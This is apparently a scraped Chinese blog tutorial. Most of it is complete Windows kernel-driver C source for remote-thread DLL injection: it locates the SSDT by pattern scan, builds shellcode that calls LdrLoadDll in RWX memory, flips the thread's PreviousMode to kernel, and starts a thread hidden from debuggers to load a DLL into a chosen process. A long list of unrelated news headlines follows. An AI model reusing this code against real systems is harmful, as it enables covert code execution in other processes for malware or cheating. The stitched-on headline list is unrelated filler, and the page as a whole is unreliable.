nt!KiSystemServiceRepeat+0x2a (fffff806`42c799be)*/char KiSystemServiceStart_pattern[14] = "\x8B\xF8\xC1\xEF\x07\x83\xE7\x20\x25\xFF\x0F\x00\x00";/*ULONG rva = GetRvaFromModule(L"\\SystemRoot\\system32\\ntoskrnl.exe", "_stricmp");DbgPrint("NtReadFile VA = %p \n", rva);ULONG _stricmp_offset = 0x19d710;*/ULONGLONG CodeScanStart = GetSSDTRVA((UCHAR *)"_stricmp") + GetOsBaseAddress(DriverObject);ULONGLONG i, tbl_address, b;for (i = 0; i < 0x50000; i++){// 比较特征if (!memcmp((char*)(ULONGLONG)CodeScanStart + i, (char*)KiSystemServiceStart_pattern, 13)){for (b = 0; b < 50; b++){tbl_address = ((ULONGLONG)CodeScanStart + i + b);// 4c 8d 15 e5 9e 3b 00 lea r10,[nt!KeServiceDescriptorTable (fffff802`64da4880)]// if (*(USHORT*)((ULONGLONG)tbl_address) == (USHORT)0x158d4c)if (*(USHORT*)((ULONGLONG)tbl_address) == (USHORT)0x8d4c){return ((LONGLONG)tbl_address + 7) + *(LONG*)(tbl_address + 3);}}}}return 0;}// 根据SSDT序号得到函数基址ULONGLONG GetSSDTFuncCurAddr(ULONG index){/*mov rax, rcx ; rcx=Native API 的 indexlea r10,[rdx] ; rdx=ssdt 基址mov edi,eax ; indexshr edi,7and edi,20hmov r10, qword ptr [r10+rdi] ; ServiceTableBasemovsxd r11,dword ptr [r10+rax] ; 没有右移的假ssdt的地址mov rax,r11sar r11,4add r10,r11mov rax,r10ret*/LONG dwtmp = 0;PULONG ServiceTableBase = NULL;ServiceTableBase = (PULONG)KeServiceDescriptorTable->ServiceTableBase;dwtmp = ServiceTableBase[index];// 先右移4位之后加上基地址 就可以得到ssdt的地址dwtmp = dwtmp >> 4;return (LONGLONG)dwtmp + (ULONGLONG)ServiceTableBase;}// 根据进程ID返回进程EPROCESSPEPROCESS LookupProcess(HANDLE Pid){PEPROCESS eprocess = NULL;if (NT_SUCCESS(PsLookupProcessByProcessId(Pid, &eprocess))){return eprocess;}else{return NULL;}}// 根据用户传入进程名得到该进程PIDHANDLE GetProcessID(PCHAR ProcessName){ULONG i = 0;PEPROCESS eproc = NULL;for (i = 4; i<100000000; i = i + 4){eproc = LookupProcess((HANDLE)i);if (eproc != NULL){ObDereferenceObject(eproc);// 根据进程名得到进程EPEPROCESSif (strstr(PsGetProcessImageFileName(eproc), ProcessName) != NULL){return PsGetProcessId(eproc);}}}return NULL;}
为了能更好的完成驱动注入实现原理的讲解,也可以让用户理解如上方所封装的API函数的使用流程,接下来将依次讲解上方这些通用API函数的作用以及使用方法,其目的是让用户可以更好的学会功能运用,以此在后期项目开发中可以更好的使用这些功能。
GetOsBaseAddress:该函数可实现输出特定内核模块的基地址,本例中写死在了变量wzData
中,如果需要改进只需要替换参数传递即可实现自定义取值,调用该函数你只需要传入PDRIVER_OBJECT
自身驱动对象即可,代码如下所示;
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");ULONGLONG kernel_base = GetOsBaseAddress(DriverObject);DbgPrint("ntoskrnl.exe 模块基址: %p \n", kernel_base);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,即可输出ntoskrnl.exe
内核模块的基址,效果图如下所示;
GetSSDTFuncCurAddr:该函数可实现根据用户传入的SSDT表下标,获取到该函数的基址,代码如下所示;
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");// 得到SSDT基地址KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable64(DriverObject);DbgPrint("SSDT基地址: %p \n", KeServiceDescriptorTable->ServiceTableBase);// 根据序号得到指定函数地址ULONGLONG address = NULL;address = GetSSDTFuncCurAddr(10);DbgPrint("得到函数地址: %p \n", address);address = GetSSDTFuncCurAddr(11);DbgPrint("得到函数地址: %p \n", address);address = GetSSDTFuncCurAddr(12);DbgPrint("得到函数地址: %p \n", address);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,即可输出下标为10,11,12
的SSDT函数基址,效果图如下所示;
GetSSDTRVA:根据传入的函数名获取该函数的RVA地址,用户传入一个特定模块下导出函数的函数名,动态得到该函数的相对偏移地址。
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");ULONG64 ReadFile_RVA = GetSSDTRVA("NtReadFile");DbgPrint("NtReadFile = %p \n", ReadFile_RVA);ULONG64 NtCreateEnlistment_RVA = GetSSDTRVA("NtCreateEnlistment");DbgPrint("NtCreateEnlistment = %p \n", NtCreateEnlistment_RVA);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,即可输出NtReadFile,NtCreateEnlistment
两个内核函数的RVA地址,效果图如下所示;
GetIndexByName:该函数接收用户传入的一个SSDT
函数名,并返回该函数所对应的下标,调用代码如下;
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");ULONG index1 = GetIndexByName((UCHAR *)"NtCreateThreadEx");DbgPrint("函数NtCreateThreadEx下标: %d \n", index1);ULONG index2 = GetIndexByName((UCHAR *)"NtReadFile");DbgPrint("函数NtReadFile下标: %d \n", index2);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,即可输出NtCreateThreadEx,NtReadFile
两个内核函数的下标,效果图如下所示;
GetUserModuleAddress:该函数用于获取进程模块基址,在内核模式下附加到应用层指定进程上,并动态获取到该进程所加载的指定模块的基址,调用代码如下;
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");HANDLE ProcessID = (HANDLE)6932;PEPROCESS EProcess = NULL;NTSTATUS Status = STATUS_SUCCESS;KAPC_STATE ApcState;// 根据PID得到进程EProcess结构Status = PsLookupProcessByProcessId(ProcessID, &EProcess);if (Status != STATUS_SUCCESS){DbgPrint("[-] 获取EProcessID失败 \n");return Status;}// 判断目标进程是32位还是64位BOOLEAN IsWow64 = (PsGetProcessWow64Process(EProcess) != NULL) ? TRUE : FALSE;// 验证地址是否可读if (!MmIsAddressValid(EProcess)){DbgPrint("[-] 地址不可读 \n");DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}// 将当前线程连接到目标进程的地址空间(附加进程)KeStackAttachProcess((PRKPROCESS)EProcess, &ApcState);__try{UNICODE_STRING NtdllUnicodeString = { 0 };PVOID NtdllAddress = NULL;// 得到进程内ntdll.dll模块基地址RtlInitUnicodeString(&NtdllUnicodeString, L"Ntdll.dll");NtdllAddress = GetUserModuleAddress(EProcess, &NtdllUnicodeString, IsWow64);if (!NtdllAddress){DbgPrint("[-] 没有找到基址 \n");DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}DbgPrint("[*] 模块ntdll.dll基址: %p \n", NtdllAddress);}__except (EXCEPTION_EXECUTE_HANDLER){}// 取消附加KeUnstackDetachProcess(&ApcState);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,则获取进程PID=6932
里面的ntdll.dll
模块的基址,输出效果图如下所示;
GetModuleExportAddress:该函数可用于获取特定模块中特定函数的基址,此功能需要配合获取模块基址一起使用,调用代码如下;
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark.com \n");HANDLE ProcessID = (HANDLE)6932;PEPROCESS EProcess = NULL;NTSTATUS Status = STATUS_SUCCESS;// 根据PID得到进程EProcess结构Status = PsLookupProcessByProcessId(ProcessID, &EProcess);if (Status != STATUS_SUCCESS){DbgPrint("[-] 获取EProcessID失败 \n");return Status;}PVOID BaseAddress = (PVOID)0x77540000;PVOID RefAddress = 0;// 传入Ntdll.dll基址 + 函数名 得到该函数地址RefAddress = GetModuleExportAddress(BaseAddress, "LdrLoadDll", EProcess);DbgPrint("[*] 函数地址: %p \n", RefAddress);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
编译并运行如上代码片段,则获取进程PID=6932
里面的ntdll.dll
模块里的LdrLoadDll
函数基址,输出效果图如下所示;
SeCreateThreadEx:该函数则是实际执行注入的函数,此段代码中需要注意的是pPrevMode
中的偏移值,每个系统中都不相同,用户需要自行在WinDBG
中输入!_KTHREAD
得到线程信息,并找到PreviousMode
字段,该字段中的偏移值需要(PUCHAR)PsGetCurrentThread() + 0x232
才可得到正确位置。
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include "lyshark.h"// -----------------------------------------------------------------------------------// 注入代码生成函数// -----------------------------------------------------------------------------------// 创建64位注入代码PINJECT_BUFFER GetNative64Code(IN PVOID LdrLoadDll, IN PUNICODE_STRING DllFullPath){NTSTATUS Status = STATUS_SUCCESS;PINJECT_BUFFER InjectBuffer = NULL;SIZE_T Size = PAGE_SIZE;UCHAR Code[] = {0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x280x48, 0x31, 0xC9, // xor rcx, rcx0x48, 0x31, 0xD2, // xor rdx, rdx0x49, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov r8, ModuleFileName offset +120x49, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0, // mov r9, ModuleHandle offset +280x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax, LdrLoadDll offset +320xFF, 0xD0, // call rax0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, // mov rdx, COMPLETE_OFFSET offset +440xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, // mov [rdx], CALL_COMPLETE 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, // mov rdx, STATUS_OFFSET offset +600x89, 0x02, // mov [rdx], eax0x48, 0x83, 0xC4, 0x28, // add rsp, 0x280xC3 // ret};Status = ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (NT_SUCCESS(Status)){PUNICODE_STRING UserPath = &InjectBuffer->Path64;UserPath->Length = 0;UserPath->MaximumLength = sizeof(InjectBuffer->Buffer);UserPath->Buffer = InjectBuffer->Buffer;RtlUnicodeStringCopy(UserPath, DllFullPath);// Copy codememcpy(InjectBuffer, Code, sizeof(Code));// Fill stubs*(ULONGLONG*)((PUCHAR)InjectBuffer + 12) = (ULONGLONG)UserPath;*(ULONGLONG*)((PUCHAR)InjectBuffer + 22) = (ULONGLONG)&InjectBuffer->ModuleHandle;*(ULONGLONG*)((PUCHAR)InjectBuffer + 32) = (ULONGLONG)LdrLoadDll;*(ULONGLONG*)((PUCHAR)InjectBuffer + 44) = (ULONGLONG)&InjectBuffer->Complete;*(ULONGLONG*)((PUCHAR)InjectBuffer + 60) = (ULONGLONG)&InjectBuffer->Status;return InjectBuffer;}UNREFERENCED_PARAMETER(DllFullPath);return NULL;}// 创建32位注入代码PINJECT_BUFFER GetNative32Code(IN PVOID LdrLoadDll, IN PUNICODE_STRING DllFullPath){NTSTATUS Status = STATUS_SUCCESS;PINJECT_BUFFER InjectBuffer = NULL;SIZE_T Size = PAGE_SIZE;// CodeUCHAR Code[] = {0x68, 0, 0, 0, 0, // push ModuleHandle offset +1 0x68, 0, 0, 0, 0, // push ModuleFileName offset +60x6A, 0, // push Flags 0x6A, 0, // push PathToFile0xE8, 0, 0, 0, 0, // call LdrLoadDll offset +150xBA, 0, 0, 0, 0, // mov edx, COMPLETE_OFFSET offset +200xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, // mov [edx], CALL_COMPLETE 0xBA, 0, 0, 0, 0, // mov edx, STATUS_OFFSET offset +310x89, 0x02, // mov [edx], eax0xC2, 0x04, 0x00 // ret 4};Status = ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (NT_SUCCESS(Status)){// Copy pathPUNICODE_STRING32 pUserPath = &InjectBuffer->Path32;pUserPath->Length = DllFullPath->Length;pUserPath->MaximumLength = DllFullPath->MaximumLength;pUserPath->Buffer = (ULONG)(ULONG_PTR)InjectBuffer->Buffer;// Copy pathmemcpy((PVOID)pUserPath->Buffer, DllFullPath->Buffer, DllFullPath->Length);// Copy codememcpy(InjectBuffer, Code, sizeof(Code));// Fill stubs*(ULONG*)((PUCHAR)InjectBuffer + 1) = (ULONG)(ULONG_PTR)&InjectBuffer->ModuleHandle;*(ULONG*)((PUCHAR)InjectBuffer + 6) = (ULONG)(ULONG_PTR)pUserPath;*(ULONG*)((PUCHAR)InjectBuffer + 15) = (ULONG)((ULONG_PTR)LdrLoadDll - ((ULONG_PTR)InjectBuffer + 15) - 5 + 1);*(ULONG*)((PUCHAR)InjectBuffer + 20) = (ULONG)(ULONG_PTR)&InjectBuffer->Complete;*(ULONG*)((PUCHAR)InjectBuffer + 31) = (ULONG)(ULONG_PTR)&InjectBuffer->Status;return InjectBuffer;}UNREFERENCED_PARAMETER(DllFullPath);return NULL;}// -----------------------------------------------------------------------------------// 启动子线程函数(注入函数)// -----------------------------------------------------------------------------------// 启动线程NTSTATUS NTAPI SeCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID StartAddress, IN PVOID Parameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, IN PNT_PROC_THREAD_ATTRIBUTE_LIST AttributeList){NTSTATUS Status = STATUS_SUCCESS;// 根据字符串NtCreateThreadEx得到下标,并通过下标查询SSDT函数地址LPFN_NTCREATETHREADEX NtCreateThreadEx = (LPFN_NTCREATETHREADEX)(GetSSDTFuncCurAddr(GetIndexByName((UCHAR *)"NtCreateThreadEx")));DbgPrint("线程函数地址: %p --> 开始执行地址: %p \n", NtCreateThreadEx, StartAddress);if (NtCreateThreadEx){// 如果之前的模式是用户模式,地址传递到ZwCreateThreadEx必须在用户模式空间// 切换到内核模式允许使用内核模式地址/*dt !_KTHREAD+0x1c8 Win32Thread : Ptr64 Void+ 0x140 WaitBlockFill11 : [176] UChar+ 0x1f0 Ucb : Ptr64 _UMS_CONTROL_BLOCK+ 0x232 PreviousMode : Char*/// Windows10 PreviousMode = 0x232PUCHAR pPrevMode = (PUCHAR)PsGetCurrentThread() + 0x232;// 64位 pPrevMode = 01UCHAR prevMode = *pPrevMode;// 内核模式*pPrevMode = KernelMode;// 创建线程Status = NtCreateThreadEx(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, StartAddress, Parameter, Flags, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, AttributeList);// 恢复之前的线程模式*pPrevMode = prevMode;}else{Status = STATUS_NOT_FOUND;}return Status;}// 执行线程NTSTATUS ExecuteInNewThread(IN PVOID BaseAddress, IN PVOID Parameter, IN ULONG Flags, IN BOOLEAN Wait, OUT PNTSTATUS ExitStatus){HANDLE ThreadHandle = NULL;OBJECT_ATTRIBUTES ObjectAttributes = { 0 };// 初始化对象属性InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);// 创建线程NTSTATUS Status = SeCreateThreadEx(&ThreadHandle, THREAD_QUERY_LIMITED_INFORMATION, &ObjectAttributes, ZwCurrentProcess(), BaseAddress, Parameter, Flags, 0, 0x1000, 0x100000, NULL);// 等待线程完成if (NT_SUCCESS(Status) && Wait != FALSE){// 延迟 60sLARGE_INTEGER Timeout = { 0 };Timeout.QuadPart = -(60ll * 10 * 1000 * 1000);Status = ZwWaitForSingleObject(ThreadHandle, TRUE, &Timeout);if (NT_SUCCESS(Status)){// 查询线程退出码THREAD_BASIC_INFORMATION ThreadBasicInfo = { 0 };ULONG ReturnLength = 0;Status = ZwQueryInformationThread(ThreadHandle, ThreadBasicInformation, &ThreadBasicInfo, sizeof(ThreadBasicInfo), &ReturnLength);if (NT_SUCCESS(Status) && ExitStatus){// 这里是查询当前的dll是否注入成功*ExitStatus = ThreadBasicInfo.ExitStatus;}else if (!NT_SUCCESS(Status)){DbgPrint("%s: ZwQueryInformationThread failed with status 0x%X\n", __FUNCTION__, Status);}}else{DbgPrint("%s: ZwWaitForSingleObject failed with status 0x%X\n", __FUNCTION__, Status);}}else{DbgPrint("%s: ZwCreateThreadEx failed with status 0x%X\n", __FUNCTION__, Status);}if (ThreadHandle){ZwClose(ThreadHandle);}return Status;}// 切换到目标进程创建内核线程进行注入 (cr3切换)NTSTATUS AttachAndInjectProcess(IN HANDLE ProcessID, PWCHAR DllPath){PEPROCESS EProcess = NULL;KAPC_STATE ApcState;NTSTATUS Status = STATUS_SUCCESS;if (ProcessID == NULL){Status = STATUS_UNSUCCESSFUL;return Status;}// 获取EProcessStatus = PsLookupProcessByProcessId(ProcessID, &EProcess);if (Status != STATUS_SUCCESS){return Status;}// 判断目标进程x86 or x64BOOLEAN IsWow64 = (PsGetProcessWow64Process(EProcess) != NULL) ? TRUE : FALSE;// 将当前线程连接到目标进程的地址空间KeStackAttachProcess((PRKPROCESS)EProcess, &ApcState);__try{PVOID NtdllAddress = NULL;PVOID LdrLoadDll = NULL;UNICODE_STRING NtdllUnicodeString = { 0 };UNICODE_STRING DllFullPath = { 0 };// 获取ntdll模块基地址RtlInitUnicodeString(&NtdllUnicodeString, L"Ntdll.dll");NtdllAddress = GetUserModuleAddress(EProcess, &NtdllUnicodeString, IsWow64);if (!NtdllAddress){Status = STATUS_NOT_FOUND;}// 获取LdrLoadDllif (NT_SUCCESS(Status)){LdrLoadDll = GetModuleExportAddress(NtdllAddress, "LdrLoadDll", EProcess);if (!LdrLoadDll){Status = STATUS_NOT_FOUND;}}PINJECT_BUFFER InjectBuffer = NULL;if (IsWow64){// 注入32位DLLRtlInitUnicodeString(&DllFullPath, DllPath);InjectBuffer = GetNative32Code(LdrLoadDll, &DllFullPath);DbgPrint("[*] 注入32位DLL \n");}else{// 注入64位DLLRtlInitUnicodeString(&DllFullPath, DllPath);InjectBuffer = GetNative64Code(LdrLoadDll, &DllFullPath);DbgPrint("[*] 注入64位DLL \n");}//创建线程,执行构造的 shellcodeExecuteInNewThread(InjectBuffer, NULL, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, TRUE, &Status);if (!NT_SUCCESS(Status)){DbgPrint("ExecuteInNewThread Failed\n");}}__except (EXCEPTION_EXECUTE_HANDLER){Status = STATUS_UNSUCCESSFUL;}// 释放EProcessKeUnstackDetachProcess(&ApcState);ObDereferenceObject(EProcess);return Status;}VOID Unload(PDRIVER_OBJECT pDriverObj){DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath){DbgPrint("Hello LyShark \n");// 获取SSDT表基址KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable64(DriverObject);// 得到进程PIDHANDLE processid = GetProcessID("x32.exe");DbgPrint("进程PID = %d \n", processid);// 附加执行注入AttachAndInjectProcess(processid, L"C:\\hook.dll");DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}
运行如上这段代码片段,将编译好的DLL文件放入到C:\\hook.dll
目录下,并运行x32.exe
程序,手动加载驱动即可注入成功,输出效果图如下所示;
回到应用层进程中,可看到我们的DLL已经被注入到目标进程内了,效果图如下所示;
关键词:
驱动开发:内核远程线程实现DLL注入 看点
民办学校招生简章广告不得自诩“最大”“最好”“第一”-快播
红岗区解放街道开展液化气安全隐患专项检查
高温天气持续,人社部要求做好劳动者权益保障工作|环球观天下
竞争不止“嘴炮”不停 盘点车企广告文案中的花式营销 观焦点
热门看点:屋漏偏逢连夜雨!新能源车购置税减免延期,合资品牌要“遭罪”?
甘肃两当:积极培育“旅游+”新业态 全域旅游劲头足
今日聚焦!宁波发布全省首个区县级“无废指数” 首张榜单已出炉
陈茂波:香港经济发展正面 必定迎来更美好的明天 微速讯
全球快消息!GPT-4得不到MIT学位,MIT研究团队回应「作弊」,但网友不买账
要闻:Netflix《怪奇物语》第五季新卡司 终结者女主琳达确定出演
定西经济开发区孵化园基础设施建设项目二标段监理更正公告
南昌“心艺梦之星”无证办学被关停 家长“拼团”报班退款难
环球新消息丨高考招生填报志愿咨询会在石家庄市第一中学举行
精打细算的年轻人,花式找“平替”
世界快资讯:海报新闻丨一组数字,看端午小长假吉林省文旅市场有多强
消息!端午假期福建口岸出入境客流量同比增长12.6倍
全球实时:「热点排名」杭州肤康-过敏检测与治疗专家| 杭州肤康官网
文水县车管所在机动车检测机构开展督导检查
“绵阳”游仙区开展“粽叶飘香迎端午·民族团结一家亲”活动
正荣地产出售南京江北新区地块项目公司等股权,代价7500万元-环球时讯
欧康医药与江苏海飞签署合成生物项目战略框架协议
天天速递!北京教育考试院公布北京高招录取主要日程安排
海参2你在为手术买单成就怎么做
北京高考分数线发布:普通本科448分
河南省2023年普通高校招生录取控制分数线公布
高温天气持续 人社部要求做好劳动者权益保障工作
天天最资讯丨银川烧烤店爆炸事故原因公布 4名犯罪嫌疑人被刑拘
2023郑州宜家招聘信息
【财经分析】端午出游热度五年最火 演唱会音乐节显带动效应_每日简讯
moto razr 40开售:3999的折叠屏卖疯了_世界快播报
男孩查分显示全省前31名:开心原地跳脚,直呼没想到
当前简讯:1-5月份我国软件业务收入43238亿元同比增长13.3%
天天热议:普里戈任接受白俄缓和局势建议 其刑事立案将获撤销
天天快报!“绿建”赋能 福州力推装配式建筑及装修应用
大量承诺难兑现且被疑交付半成品,智己遭车主组团维权……_全球视点
朱一龙的演技获陈奕天赞赏 《消失的她》结局真的没想到_环球快看点
鱼缸怎么翻缸消毒_鱼缸怎么翻缸|热点在线
【新视野】大鹏执导《热烈》"青岛舞王“特辑!黄渤讲述角色理解
大写数字转换器 1030大写
今头条!宋耀州窑青釉刻花瓶
当前速读:广州市继续教育网登陆入口 广州市人社网继续教育频道
环球快资讯丨感谢社区多次热心帮助 残疾老人给社区书记送锦旗
五花肉烧鱼的做法步骤图,五花肉烧鱼怎么做?
赵薇和黄晓明什么关系_黄晓明喜欢赵薇
观热点:Linux 下二进制包 vs 源代码包:你应该选择哪个?
全球动态:卖房中介费由谁出的
当前热文:2023年第4期福建泉州普通话考试时间7月28日起 报名时间7月10日起
2023cpa缴费系统入口:中注协 环球速读
央媒聚焦内蒙古丨一以贯之久久为功,守护“塞外明珠”乌梁素海
全球今亮点!宝骏悦也“卫士版”发售 套件售6570元
比亚迪全新混动平台DM-o曝光 率先搭载方程豹首款车型|每日热讯
红豆股份端午多店连开,释放舒适消费新活力
世界热消息:调休制定参与者建议重新考虑政策:没有让大家休息好
时政手抄报图片大全_时政新闻手抄报图片|环球聚看点
【巡礼康巴大地】探秘田园白藏房:保护传统村落的现代意义 环球速读
去内热最快最好的水果?|全球快讯
这座西域千年古城,藏着最新疆的烟火气息,如今正是最好时节_世界视讯
环球热议:50岁眼霜排行榜前十名_眼霜按摩手法示意图
【全球时快讯】触漫获得钻石的方法_触漫怎么快速赚钻石
极高赞誉!FIBA解说称杨瀚森为“中国约基奇”,“4点16个字”揭晓答案
我的世界him的cp是谁(我的世界him老婆是谁) 今日关注
环球即时看!走进“厦门同安车鼓弄”非遗传承人家庭 感受传承与热爱
年轻人迷上二奢:与其花3000元买轻奢,不如加点买LV? 世界讯息
cmcc默认密码是多少_cmcc密码一般是多少
澜湄国家20名铁路官员来昆集中培训
为何卢卡申科是调解人?克里姆林宫:他与普里戈任有约20年私交_每日热闻
弯的部首有哪些字_弯的部首_每日精选
社校联动!宝山这个社区化身实践课堂
全球热头条丨游戏开发商前往普莱诺设立新办公室
金山区推动认知症障碍照护服务更充分、均衡、优质
环球头条:9.21正式发售:《收获日3》开发者日志曝光 共通社群建立
美妆巨头陷入焦虑:做VC、清库存、卷向线下
获布林肯支持后,韩将全面部署“萨德”暂停赴华航班,中方已警告
中老两国禁毒部门成功侦破中国移民警察蔡晓东被杀害案 天天新消息
【世界新视野】影评|《力量密码》:以类型谱写新主流
加快推进深远海养殖发展_天天快看
全球快播:17K小说网创始人刘英(笔名:血酬)去世
青岛西站周边区域路网加速更新,玉宁路项目年底完工 环球焦点
上海农商银行宣布成立沪上首个总行级科技金融事业部
每日热讯!货币基金怎么赚钱?新手怎么买货币基金?
iPhone充电被电截肢 苹果回应:不会负责和赔偿 天天信息
天天热门:中国交通报社有限公司新闻系列副高级职称评审委员会2023年评审通过人员公示
2023年福建初中级经济师考试报名入口开通时间 天天速看
塞尔达传说王国之泪玩家打造了一辆诚实的星球大战飞梭赛车
今日热搜:无障碍环境建设法草案将三审:商品经营者应提供无障碍标签、说明书
全球视讯!他从普京的心腹 险些成为普京的心腹大患
环球聚焦:民事起诉的证据解释,依据
世界简讯:端午小长假:镇江公路客运发送3.08万人次
韩国渔业团体集会反对核污水排海:日本怎么不自己留作农业用水?
世界时讯:【世界播资讯】交通法规定大中小客车核载人数
环球速读:fpd检测器是什么?fpd检测器的原理是什么? 天天热点评
平均年龄23岁!他们为崇明乡村旅游注入新活力
今日讯!惊险!马路中间悬挂一根电缆 摩托车骑手经过刚好被套住脖子
环球热文:吉利控股与重庆市签署战略框架协议 力帆科技或迎更大力度支持
花卉村绽放“美丽经济”
怀化市端午节期间开展市场监管领域城镇燃气安全集中排查整治|当前快报
肌营养不良表现症状(肌营养不良症的症状是什么简介介绍) 天天看热讯
焦点简讯:游戏公司擅自出版网游被罚没72万
雨天乘客着急赶路脚受伤 站务员爱心救助暖人心 每日关注